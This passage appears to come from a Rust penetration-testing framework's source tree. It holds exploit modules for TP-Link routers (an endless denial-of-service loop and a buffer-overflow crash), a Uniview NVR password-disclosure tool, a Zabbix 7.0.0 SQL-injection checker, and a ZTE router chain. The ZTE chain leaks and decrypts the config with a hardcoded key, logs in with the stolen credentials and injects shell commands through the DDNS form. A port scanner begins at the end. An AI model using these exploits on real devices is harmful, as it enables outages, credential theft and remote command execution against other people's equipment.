82 | 83 | /// Entry point for the exploit module 84 | pub async fn run(raw_target: &str) -> Result<()> { 85 | // Normalize target 86 | let target = normalize_target_host(raw_target); 87 | 88 | // Create HTTP client with insecure certs accepted and 5s timeout 89 | let client = Client::builder() 90 | .timeout(Duration::from_secs(5)) 91 | .danger_accept_invalid_certs(true) 92 | .build() 93 | .context("Failed to build HTTP client")?; 94 | 95 | println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running..."); 96 | println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER."); 97 | 98 | let stop_flag = Arc::new(AtomicBool::new(false)); 99 | let stop_flag_clone = Arc::clone(&stop_flag); 100 | 101 | // Monitor stdin for "stop" command 102 | thread::spawn(move || { 103 | let stdin = io::stdin(); 104 | for line in stdin.lock().lines() { 105 | if let Ok(input) = line { 106 | if input.trim().eq_ignore_ascii_case("stop") { 107 | stop_flag_clone.store(true, Ordering::Relaxed); 108 | println!("[*] Stopping attack..."); 109 | break; 110 | } 111 | } 112 | } 113 | }); 114 | 115 | // Continuous dual PoC attack until user stops 116 | while !stop_flag.load(Ordering::Relaxed) { 117 | let (r1, r2) = join!( 118 | dos_missing_parameters(&client, &target), 119 | dos_memory_corruption(&client, &target) 120 | ); 121 | 122 | if let Err(e) = r1 { 123 | eprintln!("[!] Error during PoC 1: {e}"); 124 | } 125 | if let Err(e) = r2 { 126 | eprintln!("[!] Error during PoC 2: {e}"); 127 | } 128 | } 129 | 130 | println!("[+] Exploit session ended."); 131 | Ok(()) 132 | } 133 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/tplink_wr740n_dos.rs: -------------------------------------------------------------------------------- 1 | // Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS' 2 | // Date: 8/12/2023 3 | // Exploit Author: Anish Feroz (ZEROXINN) 4 | // Vendor Homepage: http://www.tp-link.com 5 | // Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n 6 | // Tested on: TP-Link TL-WR740N 7 | 8 | // Description: 9 | // There exists a buffer overflow vulnerability in TP-Link TL-WR740 router 10 | // that can allow an attacker to crash the web server running on the router 11 | // by sending a crafted request. To bring back the http (webserver), 12 | // a user must physically reboot the router. 13 | 14 | use anyhow::Result; 15 | use base64::{engine::general_purpose, Engine as _}; 16 | use reqwest::{Client, header::HeaderMap}; 17 | use std::io; 18 | use tokio::net::TcpStream; 19 | use tokio::time::{timeout, Duration}; 20 | 21 | /// Normalize IP to handle IPv6 and multiple brackets 22 | fn normalize_ip(ip: &str) -> String { 23 | // Remove all surrounding brackets 24 | let mut ip = ip.trim_matches('[').trim_matches(']').to_string(); 25 | // Add brackets for IPv6 26 | if ip.contains(':') && !ip.starts_with('[') { 27 | ip = format!("[{}]", ip); 28 | } 29 | ip 30 | } 31 | 32 | /// Internal function to send crafted request to crash router 33 | async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> { 34 | // Normalize the IP for correct URL formatting 35 | let ip = normalize_ip(ip); 36 | 37 | // Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_" 38 | let crash_pattern = "crash_crash_on_a_loop_"; 39 | let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192 40 | let payload = &repeated[..192]; // truncate to exact length 41 | 42 | // Construct vulnerable URL 43 | let target_url = format!( 44 | "http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20", 45 | ip = ip, 46 | port = port, 47 | payload = payload 48 | ); 49 | 50 | // Build basic auth header 51 | let credentials = format!("{username}:{password}"); 52 | let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes()); 53 | 54 | // Prepare HTTP headers 55 | let mut headers = HeaderMap::new(); 56 | headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?); 57 | headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?); 58 | headers.insert("Upgrade-Insecure-Requests", "1".parse()?); 59 | headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?); 60 | headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?); 61 | headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?); 62 | headers.insert("Accept-Encoding", "gzip, deflate".parse()?); 63 | headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?); 64 | headers.insert("Connection", "close".parse()?); 65 | 66 | let client = Client::builder() 67 | .default_headers(headers) 68 | .build()?; 69 | 70 | let response = client.get(&target_url).send().await?; 71 | 72 | if response.status().as_u16() == 200 { 73 | println!("[+] Server Crashed (200 OK received)"); 74 | let body = response.text().await.unwrap_or_default(); 75 | println!("{}", body); 76 | } else { 77 | println!( 78 | "[-] Script Completed with status code: {}", 79 | response.status() 80 | ); 81 | } 82 | 83 | // Check if the host is still up — timeout after 1 second 84 | match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await { 85 | Ok(Ok(_)) => { 86 | println!("[!] Target still responds on port {}. DoS likely failed.", port); 87 | } 88 | _ => { 89 | println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port); 90 | } 91 | } 92 | 93 | Ok(()) 94 | } 95 | 96 | /// Entry point required by auto-dispatch 97 | pub async fn run(target: &str) -> Result<()> { 98 | println!("Enter router port (default is 8082): "); 99 | let mut port_str = String::new(); 100 | io::stdin().read_line(&mut port_str)?; 101 | let port: u16 = port_str.trim().parse().unwrap_or(8082); 102 | 103 | println!("Enter username: "); 104 | let mut username = String::new(); 105 | io::stdin().read_line(&mut username)?; 106 | let username = username.trim(); 107 | 108 | println!("Enter password: "); 109 | let mut password = String::new(); 110 | io::stdin().read_line(&mut password)?; 111 | let password = password.trim(); 112 | 113 | execute(target, port, username, password).await 114 | } 115 | -------------------------------------------------------------------------------- /src/modules/exploits/uniview/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod uniview_nvr_pwd_disclosure; 2 | 3 | 4 | 5 | // pub mod 6 | -------------------------------------------------------------------------------- /src/modules/exploits/uniview/uniview_nvr_pwd_disclosure.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use quick_xml::events::Event; 3 | use quick_xml::name::QName; 4 | use quick_xml::Reader; 5 | use reqwest::Client; 6 | use std::collections::HashMap; 7 | use std::fs::OpenOptions; 8 | use std::io::Write; 9 | use std::time::Duration; 10 | 11 | /// Reverses the Uniview custom encoded password 12 | fn decode_pass(encoded: &str) -> String { 13 | let map: HashMap<&str, &str> = [ 14 | ("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"), 15 | ("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"), 16 | ("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"), 17 | ("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"), 18 | ("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"), 19 | ("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"), 20 | ("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"), 21 | ("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"), 22 | ("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"), 23 | ("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"), 24 | ("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"), 25 | ("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"), 26 | ("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"), 27 | ("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"), 28 | ("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"), 29 | ("11","w"), ("4","x"), ("5","y"), ("6","z"), 30 | ] 31 | .iter() 32 | .cloned() 33 | .collect(); 34 | 35 | encoded 36 | .split(';') 37 | .filter_map(|c| if c == "124" { None } else { map.get(c).copied() }) 38 | .collect() 39 | } 40 | 41 | /// Strip any number of nested brackets and re-wrap once if IPv6 42 | fn normalize_target(raw: &str) -> String { 43 | // Preserve or default to http:// 44 | let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") { 45 | ("http://", s) 46 | } else if let Some(s) = raw.strip_prefix("https://") { 47 | ("https://", s) 48 | } else { 49 | ("http://", raw) 50 | }; 51 | 52 | // Split authority vs path 53 | let (auth, path) = match after.find('/') { 54 | Some(i) => (&after[..i], &after[i..]), 55 | None => (after, ""), 56 | }; 57 | 58 | // Separate host_part and port_part 59 | let (host_part, port_part) = if auth.starts_with('[') { 60 | if let Some(pos) = auth.rfind(']') { 61 | (&auth[..=pos], &auth[pos + 1..]) 62 | } else { 63 | (auth, "") 64 | } 65 | } else if auth.matches(':').count() > 1 { 66 | // IPv6 without brackets 67 | (auth, "") 68 | } else if let Some(pos) = auth.rfind(':') { 69 | // IPv4 or hostname with port 70 | (&auth[..pos], &auth[pos..]) 71 | } else { 72 | (auth, "") 73 | }; 74 | 75 | // Peel away *all* outer brackets 76 | let mut inner = host_part; 77 | while inner.starts_with('[') && inner.ends_with(']') { 78 | inner = &inner[1..inner.len() - 1]; 79 | } 80 | 81 | // If it looks like IPv6, re-wrap exactly once 82 | let wrapped = if inner.contains(':') { 83 | format!("[{}]", inner) 84 | } else { 85 | inner.to_string() 86 | }; 87 | 88 | format!("{}{}{}{}", scheme, wrapped, port_part, path) 89 | } 90 | 91 | pub async fn run(target: &str) -> Result<()> { 92 | println!("\nUniview NVR remote passwords disclosure!"); 93 | println!("Author: B1t (ported to Rust)\n"); 94 | 95 | // Normalize URL (scheme, IPv6 brackets, port, path) 96 | let target = normalize_target(target); 97 | 98 | let client = Client::builder() 99 | .danger_accept_invalid_certs(true) 100 | .timeout(Duration::from_secs(10)) 101 | .build() 102 | .context("Failed to build HTTP client")?; 103 | 104 | // Fetch version info 105 | println!("[+] Getting model name and software version..."); 106 | let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target); 107 | let version_text = client 108 | .get(&version_url) 109 | .send().await? 110 | .text().await 111 | .context("Failed to fetch version")?; 112 | 113 | let model = version_text 114 | .split("szDevName\":\"") 115 | .nth(1) 116 | .and_then(|s| s.split('"').next()) 117 | .unwrap_or("Unknown"); 118 | let sw_ver = version_text 119 | .split("szSoftwareVersion\":\"") 120 | .nth(1) 121 | .and_then(|s| s.split('"').next()) 122 | .unwrap_or("Unknown"); 123 | 124 | println!("Model: {}", model); 125 | println!("Software Version: {}", sw_ver); 126 | 127 | // Prepare log file 128 | let mut log = OpenOptions::new() 129 | .create(true) 130 | .append(true) 131 | .open("nvr-success.txt") 132 | .context("Unable to open nvr-success.txt")?; 133 | 134 | writeln!(log, "\n==== Uniview NVR ====").ok(); 135 | writeln!(log, "Target: {}", target).ok(); 136 | writeln!(log, "Model: {}", model).ok(); 137 | writeln!(log, "Software Version: {}", sw_ver).ok(); 138 | 139 | // Fetch user config 140 | println!("\n[+] Getting configuration file..."); 141 | let config_url = format!( 142 | "{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", 143 | target 144 | ); 145 | let config_text = client 146 | .get(&config_url) 147 | .send().await? 148 | .text().await 149 | .context("Failed to fetch config")?; 150 | 151 | // XML reader with trimmed text 152 | let mut reader = Reader::from_str(&config_text); 153 | reader.config_mut().trim_text(true); 154 | 155 | let mut buf = Vec::new(); 156 | let mut total_users = 0; 157 | 158 | println!("\nUser | Stored Hash | Reversible Password"); 159 | println!("{}", "_".repeat(80)); 160 | writeln!(log, "\nUser | Stored Hash | Reversible Password").ok(); 161 | writeln!(log, "{}", "_".repeat(80)).ok(); 162 | 163 | loop { 164 | match reader.read_event_into(&mut buf) { 165 | Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => { 166 | let mut username = String::new(); 167 | let mut user_hash = String::new(); 168 | let mut revpass = String::new(); 169 | 170 | for attr in e.attributes().flatten() { 171 | match attr.key { 172 | k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(), 173 | k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(), 174 | k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(), 175 | _ => {} 176 | } 177 | } 178 | 179 | let decoded = decode_pass(&revpass); 180 | println!("{:<9}| {:<38}| {}", username, user_hash, decoded); 181 | writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok(); 182 | 183 | total_users += 1; 184 | } 185 | Ok(Event::Eof) => break, 186 | Err(e) => return Err(anyhow!("XML parse error: {}", e)), 187 | _ => {} 188 | } 189 | buf.clear(); 190 | } 191 | 192 | println!("\n[+] Total users: {}", total_users); 193 | writeln!(log, "\n[+] Total users: {}", total_users).ok(); 194 | println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n"); 195 | writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok(); 196 | 197 | Ok(()) 198 | } 199 | -------------------------------------------------------------------------------- /src/modules/exploits/zabbix/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod zabbix_7_0_0_sql_injection; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/zabbix/zabbix_7_0_0_sql_injection.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use reqwest::Client; 3 | use serde_json::json; 4 | use std::fs; 5 | use std::io::{self, Write}; 6 | 7 | const HEADERS: &str = "application/json"; 8 | 9 | // Internal function renamed to `exploit_zabbix` to avoid conflicts 10 | async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> { 11 | let client = Client::new(); 12 | let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/')); 13 | 14 | // // Login to get the token 15 | let login_data = json!({ 16 | "jsonrpc": "2.0", 17 | "method": "user.login", 18 | "params": { 19 | "username": username, 20 | "password": password 21 | }, 22 | "id": 1, 23 | "auth": null 24 | }); 25 | 26 | let login_response = client 27 | .post(&url) 28 | .header("Content-Type", HEADERS) 29 | .json(&login_data) 30 | .send() 31 | .await 32 | .map_err(|e| anyhow!("Login request error: {}", e))?; 33 | 34 | let login_response_json: serde_json::Value = login_response 35 | .json() 36 | .await 37 | .map_err(|e| anyhow!("Failed to parse login response: {}", e))?; 38 | 39 | let auth_token = login_response_json 40 | .get("result") 41 | .ok_or_else(|| anyhow!("Failed to retrieve auth token"))? 42 | .as_str() 43 | .ok_or_else(|| anyhow!("Auth token not a string"))? 44 | .to_string(); 45 | 46 | // // SQLi test using the provided payload 47 | let sqli_data = json!({ 48 | "jsonrpc": "2.0", 49 | "method": "user.get", 50 | "params": { 51 | "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"], 52 | "userids": ["1", "2"] 53 | }, 54 | "id": 1, 55 | "auth": auth_token 56 | }); 57 | 58 | let test_response = client 59 | .post(&url) 60 | .header("Content-Type", HEADERS) 61 | .json(&sqli_data) 62 | .send() 63 | .await 64 | .map_err(|e| anyhow!("Test request error: {}", e))?; 65 | 66 | let test_response_text = test_response 67 | .text() 68 | .await 69 | .map_err(|e| anyhow!("Failed to read test response: {}", e))?; 70 | 71 | if test_response_text.contains("\"error\"") { 72 | println!("[-] NOT VULNERABLE."); 73 | } else { 74 | println!("[!] VULNERABLE."); 75 | } 76 | 77 | Ok(()) 78 | } 79 | 80 | // Prompt user to choose a payload option 81 | async fn get_payload_choice() -> Result { 82 | println!("Choose SQL payload option:"); 83 | println!("1: Load SQL payloads from file"); 84 | println!("2: Enter custom SQL payload"); 85 | println!("3: Use default SQL payload"); 86 | 87 | let mut choice = String::new(); 88 | print!("Enter your choice (1/2/3): "); 89 | io::stdout().flush().unwrap(); 90 | io::stdin() 91 | .read_line(&mut choice) 92 | .map_err(|e| anyhow!("Failed to read choice: {}", e))?; 93 | 94 | let choice = choice.trim(); 95 | 96 | match choice { 97 | "1" => { 98 | // Load from a file (e.g., sql_payloads.txt) 99 | println!("Loading SQL payloads from file..."); 100 | let payloads = fs::read_to_string("sql_payloads.txt") 101 | .map_err(|e| anyhow!("Error reading payload file: {}", e))?; 102 | Ok(payloads.trim().to_string()) 103 | } 104 | "2" => { 105 | // Allow user to input a custom payload 106 | println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): "); 107 | let mut custom_payload = String::new(); 108 | io::stdout().flush().unwrap(); 109 | io::stdin() 110 | .read_line(&mut custom_payload) 111 | .map_err(|e| anyhow!("Failed to read custom payload: {}", e))?; 112 | 113 | let custom_payload = custom_payload.trim(); 114 | 115 | // Ensure the custom payload isn't empty 116 | if custom_payload.is_empty() { 117 | return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload.")); 118 | } 119 | 120 | Ok(custom_payload.to_string()) 121 | } 122 | "3" => { 123 | // Use a default payload 124 | println!("Using default SQL payload..."); 125 | Ok("readonly AND (SELECT(SLEEP(5)))".to_string()) 126 | } 127 | _ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")), 128 | } 129 | } 130 | 131 | // Public dispatch entry point 132 | pub async fn run(target: &str) -> Result<()> { 133 | println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)"); 134 | println!("[*] Target API URL: {}", target); 135 | 136 | let mut username = String::new(); 137 | let mut password = String::new(); 138 | 139 | print!("Username: "); 140 | io::stdout().flush().unwrap(); 141 | io::stdin() 142 | .read_line(&mut username) 143 | .map_err(|e| anyhow!("Failed to read username: {}", e))?; 144 | 145 | print!("Password: "); 146 | io::stdout().flush().unwrap(); 147 | io::stdin() 148 | .read_line(&mut password) 149 | .map_err(|e| anyhow!("Failed to read password: {}", e))?; 150 | 151 | let username = username.trim(); 152 | let password = password.trim(); 153 | 154 | // Get the payload choice from the user 155 | let payload = get_payload_choice().await?; 156 | 157 | // Run the exploit with the selected payload 158 | exploit_zabbix(target, username, password, &payload).await 159 | } 160 | -------------------------------------------------------------------------------- /src/modules/exploits/zte/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod zte_zxv10_h201l_rce_authenticationbypass; 2 | -------------------------------------------------------------------------------- /src/modules/exploits/zte/zte_zxv10_h201l_rce_authenticationbypass.rs: -------------------------------------------------------------------------------- 1 | use aes::Aes128; 2 | use anyhow::Result; 3 | use cipher::{BlockDecrypt, KeyInit}; 4 | use cipher::generic_array::GenericArray; 5 | use reqwest::{Client, cookie::Jar}; 6 | use std::{ 7 | fs::{self, File}, 8 | io::{Read, Write}, 9 | net::TcpStream, 10 | sync::Arc, 11 | }; 12 | use tokio::time::Duration; 13 | use std::net::ToSocketAddrs; 14 | 15 | 16 | 17 | /// AES-128 ECB decrypt without padding 18 | fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result> { 19 | use cipher::consts::U16; 20 | 21 | if data.len() % 16 != 0 { 22 | anyhow::bail!("ECB decryption requires block-aligned data"); 23 | } 24 | 25 | let cipher = Aes128::new_from_slice(key)?; 26 | let mut output = Vec::with_capacity(data.len()); 27 | 28 | for chunk in data.chunks(16) { 29 | let mut block = GenericArray::::clone_from_slice(chunk); 30 | cipher.decrypt_block(&mut block); 31 | output.extend_from_slice(&block); 32 | } 33 | 34 | Ok(output) 35 | } 36 | 37 | /// Extract host and port from target 38 | fn parse_target(target: &str) -> Result<(String, u16)> { 39 | if target.contains("]:") { 40 | let parts: Vec<&str> = target.rsplitn(2, "]:").collect(); 41 | let port = parts[0].parse::()?; 42 | let host = parts[1].trim_start_matches('[').to_string(); 43 | return Ok((host, port)); 44 | } else if target.contains(':') { 45 | let parts: Vec<&str> = target.splitn(2, ':').collect(); 46 | let port = parts[1].parse::()?; 47 | return Ok((parts[0].to_string(), port)); 48 | } 49 | 50 | println!("[?] No port provided. Enter port:"); 51 | let mut input = String::new(); 52 | std::io::stdin().read_line(&mut input)?; 53 | let port = input.trim().parse::()?; 54 | Ok((target.to_string(), port)) 55 | } 56 | 57 | /// Leak the router config file 58 | fn leak_config(host: &str, port: u16) -> Result<()> { 59 | println!("[*] Leaking config from http://{}:{}/ ...", host, port); 60 | 61 | // Resolve and connect with timeout 62 | let addr = (host, port) 63 | .to_socket_addrs()? 64 | .next() 65 | .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?; 66 | let timeout = Duration::from_secs(5); 67 | let mut conn = TcpStream::connect_timeout(&addr, timeout)?; 68 | 69 | let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ"; 70 | let body = format!( 71 | "--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n", 72 | boundary, boundary 73 | ); 74 | 75 | let request = format!( 76 | "POST /getpage.gch?pid=101 HTTP/1.1\r\n\ 77 | Host: {}:{}\r\n\ 78 | Content-Type: multipart/form-data; boundary={}\r\n\ 79 | Content-Length: {}\r\n\ 80 | Connection: close\r\n\r\n{}", 81 | host, port, boundary, body.len(), body 82 | ); 83 | 84 | conn.write_all(request.as_bytes())?; 85 | 86 | let mut response = vec![]; 87 | conn.read_to_end(&mut response)?; 88 | if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") { 89 | let body = &response[start + 4..]; 90 | File::create("config.bin")?.write_all(body)?; 91 | } 92 | 93 | println!("[+] Config saved to config.bin"); 94 | Ok(()) 95 | } 96 | 97 | /// Decrypt config and extract credentials 98 | fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> { 99 | let mut encrypted = File::open("config.bin")?; 100 | let mut data = vec![]; 101 | encrypted.read_to_end(&mut data)?; 102 | 103 | let mut key16 = [0u8; 16]; 104 | key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]); 105 | 106 | let decrypted = decrypt_ecb_nopad(&data, &key16)?; 107 | fs::write("decrypted.xml", &decrypted)?; 108 | 109 | let xml = fs::read_to_string("decrypted.xml")?; 110 | let username = xml.split("IGD.AU2").nth(1) 111 | .and_then(|s| s.split("User").nth(1)) 112 | .and_then(|s| s.split("val=\"").nth(1)) 113 | .and_then(|s| s.split('"').next()) 114 | .unwrap_or("unknown") 115 | .to_string(); 116 | 117 | let password = xml.split("IGD.AU2").nth(1) 118 | .and_then(|s| s.split("Pass").nth(1)) 119 | .and_then(|s| s.split("val=\"").nth(1)) 120 | .and_then(|s| s.split('"').next()) 121 | .unwrap_or("unknown") 122 | .to_string(); 123 | 124 | fs::remove_file("config.bin").ok(); 125 | fs::remove_file("decrypted.xml").ok(); 126 | 127 | println!("[+] Decrypted credentials: {} / {}", username, password); 128 | Ok((username, password)) 129 | } 130 | 131 | /// Perform login 132 | async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> { 133 | println!("[*] Logging in to http://{}:{}/ ...", host, port); 134 | let url = format!("http://{}:{}/", host, port); 135 | let page = session.get(&url).send().await?.text().await?; 136 | 137 | let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1) 138 | .and_then(|s| s.split('"').next()) 139 | .ok_or_else(|| anyhow::anyhow!("Login token not found"))?; 140 | 141 | let params = [ 142 | ("Username", username), 143 | ("Password", password), 144 | ("frashnum", ""), 145 | ("Frm_Logintoken", token), 146 | ]; 147 | 148 | session.post(&url).form(¶ms).send().await?; 149 | println!("[+] Login submitted."); 150 | Ok(()) 151 | } 152 | 153 | 154 | /// Logout 155 | async fn logout(session: &Client, host: &str, port: u16) -> Result<()> { 156 | let url = format!("http://{}:{}/", host, port); 157 | session.post(&url).form(&[("logout", "1")]).send().await?; 158 | println!("[*] Logged out."); 159 | Ok(()) 160 | } 161 | 162 | /// Command injection payload generator 163 | fn command_injection(cmd: &str) -> String { 164 | let inj = format!("user;{};echo", cmd); 165 | inj.replace(" ", "${IFS}") 166 | } 167 | 168 | /// Abuse DDNS form to inject command 169 | async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> { 170 | let url = format!( 171 | "http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch", 172 | host, port 173 | ); 174 | 175 | let form = [ 176 | ("IF_ACTION", "apply"), ("Name", "dyndns"), 177 | ("Server", "http://www.dyndns.com/"), ("Username", payload), 178 | ("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"), 179 | ("DomainName", "hostname"), ("Service", "dyndns"), 180 | ("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"), 181 | ("ServerPort0", "80"), ("UpdateInterval0", "86400"), 182 | ("RetryInterval0", "60"), ("MaxRetries0", "3"), 183 | ("Name1", "No-IP"), ("Server1", "http://www.noip.com/"), 184 | ("ServerPort1", "80"), ("UpdateInterval1", "86400"), 185 | ("RetryInterval1", "60"), ("MaxRetries1", "3"), 186 | ("Enable", "1"), ("HostNumber", "") 187 | ]; 188 | 189 | println!("[*] Sending command injection payload..."); 190 | session.post(&url).form(&form).send().await?; 191 | println!("[+] Payload delivered."); 192 | Ok(()) 193 | } 194 | 195 | /// Exploit wrapper 196 | async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> { 197 | let cookie_jar = Arc::new(Jar::default()); 198 | let session = Client::builder() 199 | .cookie_provider(cookie_jar) 200 | .danger_accept_invalid_certs(true) 201 | .timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout 202 | .build()?; 203 | 204 | leak_config(host, port)?; 205 | let (username, password) = decrypt_config(config_key)?; 206 | login(&session, host, port, &username, &password).await?; 207 | let payload = command_injection("echo hacked > /var/tmp/pwned"); 208 | set_ddns(&session, host, port, &payload).await?; 209 | logout(&session, host, port).await?; 210 | println!("[✓] Exploit complete."); 211 | Ok(()) 212 | } 213 | 214 | 215 | /// Dispatch entry point 216 | pub async fn run(target: &str) -> Result<()> { 217 | let (host, port) = parse_target(target)?; 218 | let config_key = b"Renjx%2$CjM"; 219 | match exploit(config_key, &host, port).await { 220 | Ok(_) => { 221 | println!("[*] Success on {}:{}", host, port); 222 | Ok(()) 223 | } 224 | Err(e) => { 225 | println!("[!] Exploit failed: {}", e); 226 | Err(e) 227 | } 228 | } 229 | } 230 | -------------------------------------------------------------------------------- /src/modules/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod exploits; 2 | pub mod scanners; 3 | pub mod creds; 4 | -------------------------------------------------------------------------------- /src/modules/scanners/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod sample_scanner; 2 | pub mod ssdp_msearch; 3 | pub mod port_scanner; 4 | pub mod stalkroute_full_traceroute; 5 | -------------------------------------------------------------------------------- /src/modules/scanners/port_scanner.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use std::{ 3 | fs::File, 4 | io::{self, Write, BufWriter}, 5 | net::{SocketAddr, ToSocketAddrs}, 6 | sync::{Arc, Mutex}, 7 | }; 8 | use tokio::{ 9 | net::{TcpStream, UdpSocket}, 10 | sync::Semaphore, 11 | time::{timeout, Duration}, 12 | }; 13 | 14 | #[derive(Debug)] 15 | pub struct ScanSettings { 16 | pub concurrency: usize, 17 | pub timeout_secs: u64, 18 | pub show_only_open: bool, 19 | pub verbose: bool, 20 | pub scan_udp_enabled: bool, 21 | pub output_file: String, 22 | } 23 | 24 | /// Interactive config prompt 25 | pub fn prompt_settings() -> Result { 26 | Ok(ScanSettings { 27 | concurrency: prompt_usize("Concurrency: ")?, 28 | timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64, 29 | show_only_open: prompt_bool("Show only open ports? (y/n): ")?, 30 | verbose: prompt_bool("Verbose output? (y/n): ")?, 31 | scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?, 32 | output_file: prompt("Output filename: ")?, 33 | }) 34 | } 35 | 36 | /// Main entrypoint for interactive CLI mode 37 | pub async fn run_interactive(target: &str) -> Result<()> { 38 | let settings = prompt_settings()?; 39 | run_with_settings( 40 | target, 41 | settings.concurrency, 42 | settings.timeout_secs, 43 | settings.show_only_open, 44 | settings.verbose, 45 | settings.scan_udp_enabled, 46 | &settings.output_file, 47 | ) 48 | .await 49 | } 50 | 51 | pub async fn run(target: &str) -> Result<()> { 52 | run_interactive(target).await 53 | } 54 | 55 | /// === Core Scanner Logic === 56 | pub async fn run_with_settings( 57 | target: &str, 58 | concurrency: usize, 59 | timeout_secs: u64, 60 | show_only_open: bool, 61 | verbose: bool, 62 | scan_udp_enabled: bool, 63 | output_file: &str, 64 | ) -> Result<()> { 65 | // Resolve domain or IP 66 | let (resolved_ip_str, resolved_ip) = resolve_target(target)?; 67 | let semaphore = Arc::new(Semaphore::new(concurrency)); 68 | let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?))); 69 | let mut tasks = vec![]; 70 | 71 | println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str); 72 | writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?; 73 | 74 | let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize)))); 75 | 76 | // TCP Scan loop 77 | println!("[*] Starting TCP scan..."); 78 | for port in 1..=65535u16 { 79 | let permit = semaphore.clone().acquire_owned().await?; 80 | let file = file.clone(); 81 | let progress_bar = progress_bar.clone(); 82 | let ip = resolved_ip; 83 | let ip_str = resolved_ip_str.clone(); 84 | 85 | let handle = tokio::spawn(async move { 86 | let _permit = permit; 87 | if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await { 